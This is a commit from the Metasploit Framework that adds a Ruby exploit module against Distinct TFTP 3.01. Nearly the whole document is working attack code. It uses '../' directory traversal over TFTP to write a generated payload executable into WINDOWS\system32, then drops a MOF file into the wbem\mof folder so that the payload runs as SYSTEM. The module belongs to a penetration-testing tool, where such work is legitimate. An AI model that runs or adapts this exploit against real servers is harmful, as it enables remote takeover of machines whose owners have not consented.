Merge pull request #378 from wchen-r7/distinct

Add OSVDB-80984 - Distinct TFTP Directory traversal
2012-05-11 13:14:19 -07:00
parent aa3930fcb9 653d7e5923
commit 5d8fbefc3d
1 changed files with 106 additions and 0 deletions
@@ -0,0 +1,106 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+#   http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	include Rex::Proto::TFTP
+	include Msf::Exploit::EXE
+	include Msf::Exploit::WbemExec
+
+	def initialize(info={})
+		super(update_info(info,
+			'Name'           => "Distinct TFTP 3.01 Writable Directory Traversal Execution",
+			'Description'    => %q{
+					This module exploits a vulnerability found in Distinct TFTP server.  The
+				software contains a directory traversal vulnerability that allows a remote
+				attacker to write arbitrary file to the file system, which results in
+				code execution under the context of 'SYSTEM'.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'modpr0be',  #Initial discovery, PoC (Tom Gregory)
+					'sinn3r'     #Metasploit
+				],
+			'References'     =>
+				[
+					['OSVDB', '80984'],
+					['EDB', '18718'],
+					['URL', 'http://www.spentera.com/advisories/2012/SPN-01-2012.pdf']
+				],
+			'Payload'        =>
+				{
+					'BadChars' => "\x00",
+				},
+			'DefaultOptions'  =>
+				{
+					'ExitFunction' => "none"
+				},
+			'Platform'       => 'win',
+			'Targets'        =>
+				[
+					['Distinct TFTP 3.01 on Windows', {}]
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => "Apr 8 2012",
+			'DefaultTarget'  => 0))
+
+		register_options([
+			OptInt.new('DEPTH', [false, "Levels to reach base directory",10]),
+			OptAddress.new('RHOST', [true, "The remote TFTP server address"]),
+			OptPort.new('RPORT', [true, "The remote TFTP server port", 69])
+		], self.class)
+	end
+
+	def upload(filename, data)
+		tftp_client = Rex::Proto::TFTP::Client.new(
+			"LocalHost"  => "0.0.0.0",
+			"LocalPort"  => 1025 + rand(0xffff-1025),
+			"PeerHost"   => datastore['RHOST'],
+			"PeerPort"   => datastore['RPORT'],
+			"LocalFile"  => "DATA:#{data}",
+			"RemoteFile" => filename,
+			"Mode"       => "octet",
+			"Context"    => {'Msf' => self.framework, "MsfExploit" => self },
+			"Action"     => :upload
+		)
+
+		ret = tftp_client.send_write_request { |msg| print_status(msg) }
+		while not tftp_client.complete
+			select(nil, nil, nil, 1)
+			tftp_client.stop
+		end
+	end
+
+	def exploit
+		peer = "#{datastore['RHOST']}:#{datastore['RPORT']}"
+
+		# Setup the necessary files to do the wbemexec trick
+		exe_name = rand_text_alpha(rand(10)+5) + '.exe'
+		exe      = generate_payload_exe
+		mof_name = rand_text_alpha(rand(10)+5) + '.mof'
+		mof      = generate_mof(mof_name, exe_name)
+
+		# Configure how deep we want to traverse
+		depth  = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
+		levels = "../" * depth
+
+		# Upload the malicious executable to C:\Windows\System32\
+		print_status("#{peer} - Uploading executable (#{exe.length.to_s} bytes)")
+		upload("#{levels}WINDOWS\\system32\\#{exe_name}", exe)
+
+		# Let the TFTP server idle a bit before sending another file
+		select(nil, nil, nil, 1)
+
+		# Upload the mof file
+		print_status("#{peer} - Uploading .mof...")
+		upload("#{levels}WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
+	end
+end